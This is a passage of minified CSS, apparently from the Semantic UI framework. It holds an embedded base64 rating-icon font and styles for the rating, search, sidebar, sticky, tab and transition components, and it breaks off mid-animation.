omIh4eIioaLhgjvZxWL90sFi5CNj46Oj4+PjZCLj4ySkJWWlZaVl5SXmJuVl5GRjo6OkI6RjZCNkIyPjI6MkY2TCIySjJGMj4yPjZCOkY6RjpCPjo6Pj42Qi5SLk4qSiZKJkYiPiJCIjoiPho6GjYeMhwiNh4yGjIaMhYuHi4iLiIuHi4eLg4uEiYSJhImFiYeJh4mFh4WLioqJiomJiIqJiokIi4qKiIqJCNqLBZqLmIWWgJaAkH+LfIt6hn2Af46DjYSLhIt9h36Cf4+Bi3+HgImAhYKEhI12hnmAfgh/fXiDcosIZosFfot+jHyOfI5/joOOg41/j32Qc5N8j4SMhouHjYiOh4+Jj4uQCA5ni/c5FYuGjYaOiI+Hj4mQiwjeiwWQi4+Njo+Pjo2Qi5AIi/dKBYuQiZCHjoiPh42Giwg4iwWGi4eJh4eIiImGi4YIi/tKBbD3JhWLkIyPj4+OjpCNkIuQi4+Jj4iOh42Hi4aLhomHiIeHh4eKhouGi4aMiI+Hj4qPi5AI7/snFYv3SwWLkI2Qj46Oj4+NkIuSi5qPo5OZkJePk46TjZeOmo6ajpiMmIsIsIsFpIueg5d9ln6Qeol1koSRgo2Aj4CLgIeAlH+Pfot9i4WJhIiCloCQfIt7i3yFfoGACICAfoZ8iwg8iwWMiIyJi4mMiYyJjYmMiIyKi4mPhI2GjYeNh42GjYOMhIyEi4SLhouHi4iLiYuGioYIioWKhomHioeJh4iGh4eIh4aIh4iFiISJhImDioKLhouHjYiPh4+Ij4iRiJGJkIqPCIqPipGKkomTipGKj4qOiZCJkYiQiJCIjoWSgZZ+nIKXgZaBloGWhJGHi4aLh42HjwiIjomQi48IDviUFPiUFYsMCgAAAAADAgABkAAFAAABTAFmAAAARwFMAWYAAAD1ABkAhAAAAAAAAAAAAAAAAAAAAAEQAAAAAAAAAAAAAAAAAAAAAEAAAPFlAeD/4P/gAeAAIAAAAAEAAAAAAAAAAAAAACAAAAAAAAIAAAADAAAAFAADAAEAAAAUAAQAkAAAACAAIAAEAAAAAQAg5gXwBvAN8CPwLvBu8HDwivCX8JzxI/Fl//3//wAAAAAAIOYA8ATwDPAj8C7wbvBw8Ifwl/Cc8SPxZP/9//8AAf/jGgQQBhABD+wP4g+jD6IPjA+AD3wO9g62AAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAEAAJrVlLJfDzz1AAsCAAAAAADP/GODAAAAAM/8Y4MAAP/bAgAB2wAAAAgAAgAAAAAAAAABAAAB4P/gAAACAAAAAAACAAABAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAAAAAAAAAEAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAdwAAAHcAAACAAAjAZMAHwFJAAABbgAAAgAAAAIAAAACAAAAAgAAAAEAAAACAAAAAW4AAAHcAAAB3AABAdwAAAHcAAAAAFAAABwAAAAAAA4ArgABAAAAAAABAAwAAAABAAAAAAACAA4AQAABAAAAAAADAAwAIgABAAAAAAAEAAwATgABAAAAAAAFABYADAABAAAAAAAGAAYALgABAAAAAAAKADQAWgADAAEECQABAAwAAAADAAEECQACAA4AQAADAAEECQADAAwAIgADAAEECQAEAAwATgADAAEECQAFABYADAADAAEECQAGAAwANAADAAEECQAKADQAWgByAGEAdABpAG4AZwBWAGUAcgBzAGkAbwBuACAAMQAuADAAcgBhAHQAaQBuAGdyYXRpbmcAcgBhAHQAaQBuAGcAUgBlAGcAdQBsAGEAcgByAGEAdABpAG4AZwBGAG8AbgB0ACAAZwBlAG4AZQByAGEAdABlAGQAIABiAHkAIABJAGMAbwBNAG8AbwBuAC4AAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==) format('woff');font-weight:400;font-style:normal}.ui.rating .active.icon:before,.ui.rating .icon:before,.ui.star.rating .active.icon:before,.ui.star.rating .icon:before{content:'\f005'}.ui.star.rating .partial.icon:before{content:'\f006'}.ui.star.rating .partial.icon{content:'\f005'}.ui.heart.rating .active.icon:before,.ui.heart.rating .icon:before{content:'\f004'}.ui.search{position:relative}.ui.search>.prompt{margin:0;outline:0;-webkit-appearance:none;-webkit-tap-highlight-color:rgba(255,255,255,0);text-shadow:none;font-style:normal;font-weight:400;line-height:1.2142em;padding:.67861429em 1em;font-size:1em;background:#FFF;border:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87);box-shadow:0 0 0 0 transparent inset;-webkit-transition:background-color .1s ease,color .1s ease,box-shadow .1s ease,border-color .1s ease;transition:background-color .1s ease,color .1s ease,box-shadow .1s ease,border-color .1s ease}.ui.search .prompt{border-radius:500rem}.ui.search .prompt~.search.icon{cursor:pointer}.ui.search>.results{display:none;position:absolute;top:100%;left:0;-webkit-transform-origin:center top;-ms-transform-origin:center top;transform-origin:center top;white-space:normal;background:#FFF;margin-top:.5em;width:18em;border-radius:.28571429rem;box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15);border:1px solid #D4D4D5;z-index:998}.ui.search>.results>:first-child{border-radius:.28571429rem .28571429rem 0 0}.ui.search>.results>:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui.search>.results .result{cursor:pointer;display:block;overflow:hidden;font-size:1em;padding:.85714286em 1.14285714em;color:rgba(0,0,0,.87);line-height:1.33;border-bottom:1px solid rgba(34,36,38,.1)}.ui.search>.results .result:last-child{border-bottom:none!important}.ui.search>.results .result .image{float:right;overflow:hidden;background:0 0;width:5em;height:3em;border-radius:.25em}.ui.search>.results .result .image img{display:block;width:auto;height:100%}.ui.search>.results .result .image+.content{margin:0 6em 0 0}.ui.search>.results .result .title{margin:-.14285em 0 0;font-weight:700;font-size:1em;color:rgba(0,0,0,.85)}.ui.search>.results .result .description{margin-top:0;font-size:.92857143em;color:rgba(0,0,0,.4)}.ui.search>.results .result .price{float:right;color:#21BA45}.ui.search>.results>.message{padding:1em}.ui.search>.results>.message .header{font-size:1rem;font-weight:700;color:rgba(0,0,0,.87)}.ui.search>.results>.message .description{margin-top:.25rem;font-size:1em;color:rgba(0,0,0,.87)}.ui.search>.results>.action{display:block;border-top:none;background:#F3F4F5;padding:.92857143em 1em;color:rgba(0,0,0,.87);font-weight:700;text-align:center}.ui.search>.prompt:focus{border-color:rgba(34,36,38,.35);background:#FFF;color:rgba(0,0,0,.95)}.ui.loading.search .input>i.icon:before{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.loading.search .input>i.icon:after{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;-webkit-animation:button-spin .6s linear;animation:button-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em;box-shadow:0 0 0 1px transparent}.ui.category.search>.results .category .result:hover,.ui.search>.results .result:hover{background:#F9FAFB}.ui.search .action:hover{background:#E0E0E0}.ui.category.search>.results .category.active{background:#F3F4F5}.ui.category.search>.results .category.active>.name{color:rgba(0,0,0,.87)}.ui.category.search>.results .category .result.active,.ui.search>.results .result.active{position:relative;border-left-color:rgba(34,36,38,.1);background:#F3F4F5;box-shadow:none}.ui.search>.results .result.active .description,.ui.search>.results .result.active .title{color:rgba(0,0,0,.85)}.ui.search.selection .prompt{border-radius:.28571429rem}.ui.search.selection>.icon.input>.remove.icon{pointer-events:none;position:absolute;left:auto;opacity:0;color:'';top:0;right:0;-webkit-transition:color .1s ease,opacity .1s ease;transition:color .1s ease,opacity .1s ease}.ui.search.selection>.icon.input>.active.remove.icon{cursor:pointer;opacity:.8;pointer-events:auto}.ui.search.selection>.icon.input:not([class*="left icon"])>.icon~.remove.icon{right:1.85714em}.ui.search.selection>.icon.input>.remove.icon:hover{opacity:1;color:#DB2828}.ui.category.search .results{width:28em}.ui.category.search>.results .category{background:#F3F4F5;box-shadow:none;border-bottom:1px solid rgba(34,36,38,.1);-webkit-transition:background .1s ease,border-color .1s ease;transition:background .1s ease,border-color .1s ease}.ui.category.search>.results .category:last-child{border-bottom:none}.ui.category.search>.results .category:first-child .name+.result{border-radius:0 .28571429rem 0 0}.ui.category.search>.results .category .result{background:#FFF;margin-left:100px;border-left:1px solid rgba(34,36,38,.15);border-bottom:1px solid rgba(34,36,38,.1);-webkit-transition:background .1s ease,border-color .1s ease;transition:background .1s ease,border-color .1s ease;padding:.85714286em 1.14285714em}.ui.category.search>.results .category:last-child .result:last-child{border-radius:0 0 .28571429rem;border-bottom:none}.ui.category.search>.results .category>.name{width:100px;background:0 0;font-size:1em;float:1em;float:left;padding:.4em 1em;font-weight:700;color:rgba(0,0,0,.4)}.ui[class*="left aligned"].search>.results{right:auto;left:0}.ui[class*="right aligned"].search>.results{right:0;left:auto}.ui.fluid.search .results{width:100%}.ui.mini.search{font-size:.78571429em}.ui.small.search{font-size:.92857143em}.ui.search{font-size:1em}.ui.large.search{font-size:1.14285714em}.ui.big.search{font-size:1.28571429em}.ui.huge.search{font-size:1.42857143em}.ui.massive.search{font-size:1.71428571em}.ui.shape{position:relative;vertical-align:top;display:inline-block;-webkit-perspective:2000px;perspective:2000px;-webkit-transition:left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out;transition:left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out;transition:transform .6s ease-in-out,left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out;transition:transform .6s ease-in-out,left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out}.ui.shape .sides{-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.ui.shape .side{opacity:1;width:100%;margin:0!important;-webkit-backface-visibility:hidden;backface-visibility:hidden;display:none}.ui.shape .side *{-webkit-backface-visibility:visible!important;backface-visibility:visible!important}.ui.cube.shape .side{min-width:15em;height:15em;padding:2em;background-color:#E6E6E6;color:rgba(0,0,0,.87);box-shadow:0 0 2px rgba(0,0,0,.3)}.ui.cube.shape .side>.content{width:100%;height:100%;display:table;text-align:center;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;user-select:text}.ui.cube.shape .side>.content>div{display:table-cell;vertical-align:middle;font-size:2em}.ui.text.shape.animating .sides{position:static}.ui.text.shape .side{white-space:nowrap}.ui.text.shape .side>*{white-space:normal}.ui.loading.shape{position:absolute;top:-9999px;left:-9999px}.ui.shape .animating.side{position:absolute;top:0;left:0;display:block;z-index:100}.ui.shape .hidden.side{opacity:.6}.ui.shape.animating .sides{position:absolute;-webkit-transition:left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out;transition:left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out;transition:transform .6s ease-in-out,left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out;transition:transform .6s ease-in-out,left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out}.ui.shape.animating .side{-webkit-transition:opacity .6s ease-in-out;transition:opacity .6s ease-in-out}.ui.shape .active.side{display:block}.ui.sidebar{position:fixed;top:0;left:0;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition:none;transition:none;will-change:transform;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);visibility:hidden;-webkit-overflow-scrolling:touch;height:100%!important;max-height:100%;border-radius:0!important;margin:0!important;overflow-y:auto!important;z-index:102}.ui.sidebar>*{-webkit-backface-visibility:hidden;backface-visibility:hidden}.ui.left.sidebar{right:auto;left:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.sidebar{right:0!important;left:auto!important;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.bottom.sidebar,.ui.top.sidebar{width:100%!important;height:auto!important}.ui.top.sidebar{top:0!important;bottom:auto!important;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.sidebar{top:auto!important;bottom:0!important;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.pushable{height:100%;overflow-x:hidden;padding:0!important}body.pushable{background:#545454!important}.pushable:not(body){-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.pushable:not(body)>.fixed,.pushable:not(body)>.pusher:after,.pushable:not(body)>.ui.sidebar{position:absolute}.pushable>.fixed{position:fixed;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;will-change:transform;z-index:101}body.pushable>.pusher{background:#FFF}.pushable>.pusher{position:relative;-webkit-backface-visibility:hidden;backface-visibility:hidden;overflow:hidden;min-height:100%;-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;z-index:2;background:inherit}.pushable>.pusher:after{position:fixed;top:0;right:0;content:'';background-color:rgba(0,0,0,.4);overflow:hidden;opacity:0;-webkit-transition:opacity .5s;transition:opacity .5s;will-change:opacity;z-index:1000}.ui.sidebar.menu .item{border-radius:0!important}.pushable>.pusher.dimmed:after{width:100%!important;height:100%!important;opacity:1!important}.ui.animating.sidebar{visibility:visible}.ui.visible.sidebar{visibility:visible;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.bottom.visible.sidebar,.ui.left.visible.sidebar,.ui.right.visible.sidebar,.ui.top.visible.sidebar{box-shadow:0 0 20px rgba(34,36,38,.15)}.ui.visible.left.sidebar~.fixed,.ui.visible.left.sidebar~.pusher{-webkit-transform:translate3d(260px,0,0);transform:translate3d(260px,0,0)}.ui.visible.right.sidebar~.fixed,.ui.visible.right.sidebar~.pusher{-webkit-transform:translate3d(-260px,0,0);transform:translate3d(-260px,0,0)}.ui.visible.top.sidebar~.fixed,.ui.visible.top.sidebar~.pusher{-webkit-transform:translate3d(0,36px,0);transform:translate3d(0,36px,0)}.ui.visible.bottom.sidebar~.fixed,.ui.visible.bottom.sidebar~.pusher{-webkit-transform:translate3d(0,-36px,0);transform:translate3d(0,-36px,0)}.ui.visible.left.sidebar~.ui.visible.right.sidebar~.fixed,.ui.visible.left.sidebar~.ui.visible.right.sidebar~.pusher,.ui.visible.right.sidebar~.ui.visible.left.sidebar~.fixed,.ui.visible.right.sidebar~.ui.visible.left.sidebar~.pusher{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}html.ios{overflow-x:hidden;-webkit-overflow-scrolling:touch}html.ios,html.ios body{height:initial!important}.ui.thin.left.sidebar,.ui.thin.right.sidebar{width:150px}.ui[class*="very thin"].left.sidebar,.ui[class*="very thin"].right.sidebar{width:60px}.ui.left.sidebar,.ui.right.sidebar{width:260px}.ui.wide.left.sidebar,.ui.wide.right.sidebar{width:350px}.ui[class*="very wide"].left.sidebar,.ui[class*="very wide"].right.sidebar{width:475px}.ui.visible.thin.left.sidebar~.fixed,.ui.visible.thin.left.sidebar~.pusher{-webkit-transform:translate3d(150px,0,0);transform:translate3d(150px,0,0)}.ui.visible[class*="very thin"].left.sidebar~.fixed,.ui.visible[class*="very thin"].left.sidebar~.pusher{-webkit-transform:translate3d(60px,0,0);transform:translate3d(60px,0,0)}.ui.visible.wide.left.sidebar~.fixed,.ui.visible.wide.left.sidebar~.pusher{-webkit-transform:translate3d(350px,0,0);transform:translate3d(350px,0,0)}.ui.visible[class*="very wide"].left.sidebar~.fixed,.ui.visible[class*="very wide"].left.sidebar~.pusher{-webkit-transform:translate3d(475px,0,0);transform:translate3d(475px,0,0)}.ui.visible.thin.right.sidebar~.fixed,.ui.visible.thin.right.sidebar~.pusher{-webkit-transform:translate3d(-150px,0,0);transform:translate3d(-150px,0,0)}.ui.visible[class*="very thin"].right.sidebar~.fixed,.ui.visible[class*="very thin"].right.sidebar~.pusher{-webkit-transform:translate3d(-60px,0,0);transform:translate3d(-60px,0,0)}.ui.visible.wide.right.sidebar~.fixed,.ui.visible.wide.right.sidebar~.pusher{-webkit-transform:translate3d(-350px,0,0);transform:translate3d(-350px,0,0)}.ui.visible[class*="very wide"].right.sidebar~.fixed,.ui.visible[class*="very wide"].right.sidebar~.pusher{-webkit-transform:translate3d(-475px,0,0);transform:translate3d(-475px,0,0)}.ui.overlay.sidebar{z-index:102}.ui.left.overlay.sidebar{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.overlay.sidebar{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.top.overlay.sidebar{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.overlay.sidebar{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.animating.ui.overlay.sidebar,.ui.visible.overlay.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.visible.bottom.overlay.sidebar,.ui.visible.left.overlay.sidebar,.ui.visible.right.overlay.sidebar,.ui.visible.top.overlay.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.overlay.sidebar~.fixed,.ui.visible.overlay.sidebar~.pusher{-webkit-transform:none!important;-ms-transform:none!important;transform:none!important}.ui.push.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;z-index:102}.ui.left.push.sidebar{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.push.sidebar{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.top.push.sidebar{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.push.sidebar{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ui.visible.push.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.uncover.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:1}.ui.visible.uncover.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.slide.along.sidebar{z-index:1}.ui.left.slide.along.sidebar{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}.ui.right.slide.along.sidebar{-webkit-transform:translate3d(50%,0,0);transform:translate3d(50%,0,0)}.ui.top.slide.along.sidebar{-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.ui.bottom.slide.along.sidebar{-webkit-transform:translate3d(0,50%,0);transform:translate3d(0,50%,0)}.ui.animating.slide.along.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.visible.slide.along.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.slide.out.sidebar{z-index:1}.ui.left.slide.out.sidebar{-webkit-transform:translate3d(50%,0,0);transform:translate3d(50%,0,0)}.ui.right.slide.out.sidebar{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}.ui.top.slide.out.sidebar{-webkit-transform:translate3d(0,50%,0);transform:translate3d(0,50%,0)}.ui.bottom.slide.out.sidebar{-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.ui.animating.slide.out.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.visible.slide.out.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.scale.down.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;z-index:102}.ui.left.scale.down.sidebar{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.scale.down.sidebar{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.top.scale.down.sidebar{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.scale.down.sidebar{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ui.scale.down.left.sidebar~.pusher{-webkit-transform-origin:75% 50%;-ms-transform-origin:75% 50%;transform-origin:75% 50%}.ui.scale.down.right.sidebar~.pusher{-webkit-transform-origin:25% 50%;-ms-transform-origin:25% 50%;transform-origin:25% 50%}.ui.scale.down.top.sidebar~.pusher{-webkit-transform-origin:50% 75%;-ms-transform-origin:50% 75%;transform-origin:50% 75%}.ui.scale.down.bottom.sidebar~.pusher{-webkit-transform-origin:50% 25%;-ms-transform-origin:50% 25%;transform-origin:50% 25%}.ui.animating.scale.down>.visible.ui.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.animating.scale.down.sidebar~.pusher,.ui.visible.scale.down.sidebar~.pusher{display:block!important;width:100%;height:100%;overflow:hidden!important}.ui.visible.scale.down.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.scale.down.sidebar~.pusher{-webkit-transform:scale(.75);-ms-transform:scale(.75);transform:scale(.75)}.ui.sticky{position:static;-webkit-transition:none;transition:none;z-index:800}.ui.sticky.bound{position:absolute;left:auto;right:auto}.ui.sticky.fixed{position:fixed;left:auto;right:auto}.ui.sticky.bound.top,.ui.sticky.fixed.top{top:0;bottom:auto}.ui.sticky.bound.bottom,.ui.sticky.fixed.bottom{top:auto;bottom:0}.ui.native.sticky{position:-webkit-sticky;position:-moz-sticky;position:-ms-sticky;position:-o-sticky;position:sticky}.ui.tab{display:none}.ui.tab.active,.ui.tab.open{display:block}.ui.tab.loading{position:relative;overflow:hidden;display:block;min-height:250px}.ui.tab.loading *{position:relative!important;left:-10000px!important}.ui.tab.loading.segment:before,.ui.tab.loading:before{position:absolute;content:'';top:100px;left:50%;margin:-1.25em 0 0 -1.25em;width:2.5em;height:2.5em;border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.tab.loading.segment:after,.ui.tab.loading:after{position:absolute;content:'';top:100px;left:50%;margin:-1.25em 0 0 -1.25em;width:2.5em;height:2.5em;-webkit-animation:button-spin .6s linear;animation:button-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em;box-shadow:0 0 0 1px transparent}.transition{-webkit-animation-iteration-count:1;animation-iteration-count:1;-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-timing-function:ease;animation-timing-function:ease;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animating.transition{-webkit-backface-visibility:hidden;backface-visibility:hidden;visibility:visible!important}.loading.transition{position:absolute;top:-99999px;left:-99999px}.hidden.transition{display:none;visibility:hidden}.visible.transition{display:block!important;visibility:visible!important}.disabled.transition{-webkit-animation-play-state:paused;animation-play-state:paused}.looping.transition{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.transition.browse{-webkit-animation-duration:.5s;animation-duration:.5s}.transition.browse.in{-webkit-animation-name:browseIn;animation-name:browseIn}.transition.browse.left.out,.transition.browse.out{-webkit-animation-name:browseOutLeft;animation-name:browseOutLeft}.transition.browse.right.out{-webkit-animation-name:browseOutRight;animation-name:browseOutRight}@-webkit-keyframes browseIn{0%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1}10%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1;opacity:.7}80%{-webkit-transform:scale(1.05) translateZ(0);transform:scale(1.05) translateZ(0);opacity:1;z-index:999}100%{-webkit-transform:scale(1) translateZ(0);transform:scale(1) translateZ(0);z-index:999}}@keyframes browseIn{0%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1}10%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1;opacity:.7}80%{-webkit-transform:scale(1.05) translateZ(0);transform:scale(1.05) translateZ(0);opacity:1;z-index:999}100%{-webkit-transform:scale(1) translateZ(0);transform:scale(1) translateZ(0);z-index:999}}@-webkit-keyframes browseOutLeft{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:-1;-webkit-transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:-1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}@keyframes browseOutLeft{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:-1;-webkit-transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:-1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}@-webkit-keyframes browseOutRight{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:1;-webkit-transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}@keyframes browseOutRight{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:1;-webkit-transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}.drop.transition{-webkit-transform-origin:top center;-ms-transform-origin:top center;transform-origin:top center;-webkit-animation-duration:.4s;animation-duration:.4s;-webkit-animation-timing-function:cubic-bezier(.34,1.61,.7,1);animation-timing-function:cubic-bezier(.34,1.61,.7,1)}.drop.transition.in{-webkit-animation-name:dropIn;animation-name:dropIn}.drop.transition.out{-webkit-animation-name:dropOut;animation-name:dropOut}@-webkit-keyframes dropIn{0%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes dropIn{0%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes dropOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}}@keyframes dropOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}}.transition.fade.in{-webkit-animation-name:fadeIn;animation-name:fadeIn}.transition[class*="fade up"].in{-webkit-animation-name:fadeInUp;animation-name:fadeInUp}.transition[class*="fade down"].in{-webkit-animation-name:fadeInDown;animation-name:fadeInDown}.transition[class*="fade left"].in{-webkit-animation-name:fadeInLeft;animation-name:fadeInLeft}.transition[class*="fade right"].in{-webkit-animation-name:fadeInRight;animation-name:fadeInRight}.transition.fade.out{-webkit-animation-name:fadeOut;animation-name:fadeOut}.transition[class*="fade up"].out{-webkit-animation-name:fadeOutUp;animation-name:fadeOutUp}.transition[class*="fade down"].out{-webkit-animation-name:fadeOutDown;animation-name:fadeOutDown}.transition[class*="fade left"].out{-webkit-animation-name:fadeOutLeft;animation-name:fadeOutLeft}.transition[class*="fade right"].out{-webkit-animation-name:fadeOutRight;animation-name:fadeOutRight}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeInDown{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInDown{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes 